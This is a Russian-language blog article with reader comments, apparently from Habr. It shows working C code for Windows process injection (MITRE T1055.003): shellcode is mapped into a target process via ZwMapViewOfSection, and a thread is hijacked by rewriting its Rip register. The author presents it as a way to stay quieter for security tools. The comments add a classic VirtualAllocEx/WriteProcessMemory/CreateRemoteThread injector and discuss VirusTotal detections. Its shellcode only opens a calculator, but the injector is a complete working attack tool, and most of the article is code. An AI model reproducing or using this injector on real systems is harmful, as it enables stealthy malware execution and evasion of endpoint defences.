В статье разберем технику T1055.003

Подменим контекст потока удаленного процесса и рассмотрим способ доставки шелл-кода в процесс с помощью удаленного маппинга.

В ОС Windows существует возможность получения контекста потока и последующего управления значениями регистров. Это дает возможность изменения потока выполнения, например, с помощью модификации регистра rip. Этим и будем пользоваться.

Для того, чтобы получить контекст, используется связка функций OpenThread, SuspendThread и GetThreadContext.

GetThreadContext получает 2 аргумента HANDLE и LPCONTEXT

Структура CONTEXT имеет следующий вид:

CONTEXT
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT {
    DWORD64 P1Home;
    DWORD64 P2Home;
    DWORD64 P3Home;
    DWORD64 P4Home;
    DWORD64 P5Home;
    DWORD64 P6Home;
    DWORD ContextFlags;
    DWORD MxCsr;
    WORD   SegCs;
    WORD   SegDs;
    WORD   SegEs;
    WORD   SegFs;
    WORD   SegGs;
    WORD   SegSs;
    DWORD EFlags;
    DWORD64 Dr0;
    DWORD64 Dr1;
    DWORD64 Dr2;
    DWORD64 Dr3;
    DWORD64 Dr6;
    DWORD64 Dr7;
    DWORD64 Rax;
    DWORD64 Rcx;
    DWORD64 Rdx;
    DWORD64 Rbx;
    DWORD64 Rsp;
    DWORD64 Rbp;
    DWORD64 Rsi;
    DWORD64 Rdi;
    DWORD64 R8;
    DWORD64 R9;
    DWORD64 R10;
    DWORD64 R11;
    DWORD64 R12;
    DWORD64 R13;
    DWORD64 R14;
    DWORD64 R15;
    DWORD64 Rip;
    union {
        XMM_SAVE_AREA32 FltSave;
        struct {
            M128A Header[2];
            M128A Legacy[8];
            M128A Xmm0;
            M128A Xmm1;
            M128A Xmm2;
            M128A Xmm3;
            M128A Xmm4;
            M128A Xmm5;
            M128A Xmm6;
            M128A Xmm7;
            M128A Xmm8;
            M128A Xmm9;
            M128A Xmm10;
            M128A Xmm11;
            M128A Xmm12;
            M128A Xmm13;
            M128A Xmm14;
            M128A Xmm15;
        } DUMMYSTRUCTNAME;
    } DUMMYUNIONNAME;
    M128A VectorRegister[26];
    DWORD64 VectorControl;
    DWORD64 DebugControl;
    DWORD64 LastBranchToRip;
    DWORD64 LastBranchFromRip;
    DWORD64 LastExceptionToRip;
    DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;

Чтобы получить контекст, перед вызовом GetThreadContext необходимо установить флаги ContextFlags

Существует небольшое количество флагов, которые определены в winnt.h:

флаги
Существует небольшое количество флагов, которые определены в winnt.h:


#define CONTEXT_AMD64   0x00100000L

#define CONTEXT_CONTROL         (CONTEXT_AMD64 | 0x00000001L)
#define CONTEXT_INTEGER         (CONTEXT_AMD64 | 0x00000002L)
#define CONTEXT_SEGMENTS        (CONTEXT_AMD64 | 0x00000004L)
#define CONTEXT_FLOATING_POINT  (CONTEXT_AMD64 | 0x00000008L)
#define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L)

#define CONTEXT_FULL            (CONTEXT_CONTROL | CONTEXT_INTEGER | \
                                 CONTEXT_FLOATING_POINT)

#define CONTEXT_ALL             (CONTEXT_CONTROL | CONTEXT_INTEGER | \
                                 CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \
                                 CONTEXT_DEBUG_REGISTERS)

#define CONTEXT_XSTATE          (CONTEXT_AMD64 | 0x00000040L)
#define CONTEXT_KERNEL_CET      (CONTEXT_AMD64 | 0x00000080L)

#if defined(XBOX_SYSTEMOS)

#define CONTEXT_KERNEL_DEBUGGER     0x04000000L

#endif

#define CONTEXT_EXCEPTION_ACTIVE    0x08000000L
#define CONTEXT_SERVICE_ACTIVE      0x10000000L
#define CONTEXT_EXCEPTION_REQUEST   0x40000000L
#define CONTEXT_EXCEPTION_REPORTING 0x80000000L

//
// CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it
// has unwound to a call site, and cleared whenever it unwinds
// through a trap frame.
//

#define CONTEXT_UNWOUND_TO_CALL     0x20000000

И описаны там же

Описание
// The flags field within this record controls the contents of a CONTEXT
// record.
//
// If the context record is used as an input parameter, then for each
// portion of the context record controlled by a flag whose value is
// set, it is assumed that that portion of the context record contains
// valid context. If the context record is being used to modify a threads
// context, then only that portion of the threads context is modified.
//
// If the context record is used as an output parameter to capture the
// context of a thread, then only those portions of the thread's context
// corresponding to set flags will be returned.
//
// CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags.
//
// CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15.
//
// CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs.
//
// CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15.
//
// CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7.
//

Для наших целей хватит CONTEXT_CONTROL

В общем виде установка контекста выглядит так:

HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID);
SuspendThread(hThread);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
/*
Some context manipulation
*/
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

Запомнили, теперь перейдем к доставке шелл-кода в процесс.

Обычно для этих целей используется связка вида

OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread

Это скучно и невероятно шумно для средств защиты. Поэтому я решил попробовать что-то новое и реализовал внедрение в процесс с помощью удаленного маппинга.

В итоге получилась следующая цепочка:

CreateFileMapping -> OpenProcess -> ZwMapViewOfSection

Пример кода:

HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL);

HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);

PVOID remoteBaseAddress = NULL;
size_t viewSize = 0;

NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);

Здесь появляется не самый очевидный механизм.

Так как локальный маппинг создан с флагом PAGE_EXECUTE_READWRITE, мы можем в текущем процессе вызвать MapViewOfFile с флагом FILE_MAP_WRITE, что позволит нам писать в память из текущего процесса, а в удаленном процессе размапить ту же память с правами только на чтение и исполнение.

Это дает возможность в любой момент менять размапленную память удаленного процесса. Например, сначала создать секцию с безобидным содержимым, а после загрузить в нее шеллкод. К тому же, в сравнение с классическим выделением памяти с флагом PAGE_EXECUTE_READWRITE в удаленном процессе, этот способ менее шумный с точки зрения средств защиты, так как создание rwx памяти – целое событие.

Итак, соберем все воедино. Механизм будет следующим:

  1. Создание памяти с PAGE_EXECUTE_READWRITE

  2. Получение указателя на память с правами на запись

  3. Поиск целевого процесса для внедрения

  4. Удаленный маппинг памяти

  5. Запись шелл-кода в память

  6. Поиск потока целевого процесса

  7. Приостановка потока

  8. Изменение контекста потока

  9. Воспроизведение потока

Для поиска целевого процесса и потока будем использовать функцию CreateToolhelp32Snapshot:

HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
WCHAR target[] = L"notepad.exe";

Thread32First(threadSnapshot, &threadEntry);
Process32FirstW(procSnapshot, &processEntry);
DWORD lerr = GetLastError();
while (Process32NextW(procSnapshot, &processEntry))
{
	if (_wcsicmp(processEntry.szExeFile, target) == 0)
	{
		while (Thread32Next(threadSnapshot, &threadEntry))
		{
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
			{
            	/*
              Usefull code
              */
				break;
			}
		}
		break;
	}
}

Объединяем, добавляем запись шелл-кода и получаем результат:

Код
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)(
	HANDLE SectionHandle,
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR ZeroBits,
	SIZE_T CommitSize,
	PLARGE_INTEGER SectionOffset,
	PSIZE_T ViewSize,
	DWORD InheritDisposition,
	ULONG AllocationType,
	ULONG Win32Protect
	);

int main() {
	unsigned char code[] =
	{ 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
0x01, 0xF7, 0x99, 0xFF, 0xD7 };
	size_t bufferSize = sizeof(code);
	HANDLE hMapFile = CreateFileMappingA(
		INVALID_HANDLE_VALUE,
		NULL,
		PAGE_EXECUTE_READWRITE,
		0,
		bufferSize,
		NULL
	);

	if (hMapFile == NULL) {
		return 1;
	}
	LPVOID pBuffer = MapViewOfFile(
		hMapFile,
		FILE_MAP_WRITE,
		0,
		0,
		bufferSize
	);

	if (pBuffer == NULL) {
		CloseHandle(hMapFile);
		return 1;
	}

	DWORD old;
	THREADENTRY32 threadEntry;
	threadEntry.dwSize = sizeof(THREADENTRY32);
	PROCESSENTRY32W processEntry;
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	CONTEXT context;
	context.ContextFlags = CONTEXT_CONTROL;
	HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	WCHAR target[] = L"notepad.exe";
	Thread32First(threadSnapshot, &threadEntry);
	Process32FirstW(procSnapshot, &processEntry);
	DWORD lerr = GetLastError();
	while (Process32NextW(procSnapshot, &processEntry))
	{
		if (_wcsicmp(processEntry.szExeFile, target) == 0)
		{
			while (Thread32Next(threadSnapshot, &threadEntry))
			{
				if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
				{
					HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID);
					HANDLE hMapFileDup = 0;
					HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
					p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, "ZwMapViewOfSection");
					PVOID remoteBaseAddress = NULL;
					size_t viewSize = 0;
					NTSTATUS status = ZwMapViewOfSection(
						hMapFile,
						hProc,
						&remoteBaseAddress,
						0,
						0,
						NULL,
						&viewSize,
						2,
						0,
						PAGE_EXECUTE_READ
					);
					CloseHandle(hProc);
					CopyMemory(pBuffer, code, sizeof(code));
					HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
					SuspendThread(hThread);
					CONTEXT ctx;
					ctx.ContextFlags = CONTEXT_CONTROL;
					GetThreadContext(hThread, &ctx);
					ctx.Rip = (DWORD64)remoteBaseAddress;
					SetThreadContext(hThread, &ctx);
					ResumeThread(hThread);
					break;
				}
			}
			break;
		}
	}
	lerr = GetLastError();
	CloseHandle(threadSnapshot);
	CloseHandle(procSnapshot);
	UnmapViewOfFile(pBuffer);
	CloseHandle(hMapFile);

	return 0;
}

Запуск калькулятора
Запуск калькулятора

Посмотрим на память в Process Hacker сразу после вызова ZwMapViewOfSection. Здесь видно, что в текущем процессе память RW, а в целевом - RX

Текущий процесс
Текущий процесс
Целевой процесс
Целевой процесс

В результате мы подменили контекст потока целевого процесса, внедрили память через удаленный маппинг и исполнили шелл-код.

Проект доступен на моем Github:

https://github.com/FunnyWhaleDev/RunFromSharedMemory

P.S.

Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке

Комментарии (5)


  1. Vad344
    02.11.2024 22:53

    Крутяк.


  1. firehacker
    02.11.2024 22:53

    OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread

    Это скучно и невероятно шумно для средств защиты.

    Но затем у вас идёт

    hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);

    Как будто бы это не шумно для защиты :-D

    С SetThreadContext в общем-то очевидно, а вот из способов протащить собственный код в чужой процесс незаметно, меня до сих пор очаровывает вот этот.


    1. FunnyWhale Автор
      02.11.2024 22:53

      Как будто бы это не шумно для защиты 

      В целом, только в одном OpenProcess без явного вызова WriteProcessMemory ничего плохого нет. Как правило, к срабатыванию СЗ приводит цепочка вызовов


      1. firehacker
        02.11.2024 22:53

        в одном OpenProcess без явного вызова WriteProcessMemory ничего плохого нет.

        Это единственное, что стоило бы контролировать антивирусом, аудитам. Без полученного хендла с правом на соответствующие операции никакие ни WriteProcessMemory, CreateRemoteThread, ни SetThreadContext ничего сделать не могут.

        А если контролировать последние — это лишние накладные расходы, потому что подтормаживаются совершенно легитимные вызовы указанны системных сервисов.

        Так что ключевой момент это как раз OpenProcess.


        1. FunnyWhale Автор
          02.11.2024 22:53

          Без полученного хендла с правом на соответствующие операции никакие ни WriteProcessMemory, CreateRemoteThread, ни SetThreadContext ничего сделать не могут.

          Конечно не могут. Только все равно, без определенной цепочки вызовов никто твой процесс блокировать не будет. OpenProcess - легитимная операция, вызываемая из очень многих приложений, и блокировать процесс только потому что там OpenProcess - сомнительная идея. Возьмем просто 2 примера и проверим на сработки в VirusTotal

          1. Просто открытие процесса с PROCESS_VM_OPERATION

          #include "Windows.h"
          #include <iostream>
          
          int main()
          {
              STARTUPINFOA si;
              PROCESS_INFORMATION pi;
              ZeroMemory(&si, sizeof(si));
              si.cb = sizeof(si);
              ZeroMemory(&pi, sizeof(pi));
              CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
              HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, FALSE, pi.dwProcessId);
              return 0;
          }
          
          1. Классическое внедрение шеллкода

          #include "Windows.h"
          #include <iostream>
          
          int main()
          {
              unsigned char code[] =
              { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
          0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
          0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
          0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
          0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
          0x01, 0xF7, 0x99, 0xFF, 0xD7 };
              STARTUPINFOA si;
              PROCESS_INFORMATION pi;
              ZeroMemory(&si, sizeof(si));
              si.cb = sizeof(si);
              ZeroMemory(&pi, sizeof(pi));
              CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
              HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
              LPVOID addr = VirtualAllocEx(hProc, NULL, sizeof(code), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              WriteProcessMemory(hProc, addr, code, sizeof(code), NULL);
              CreateRemoteThreadEx(hProc, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, 0, NULL);
              return 0;
          }
          

          Вроде бы, разница видна сразу же)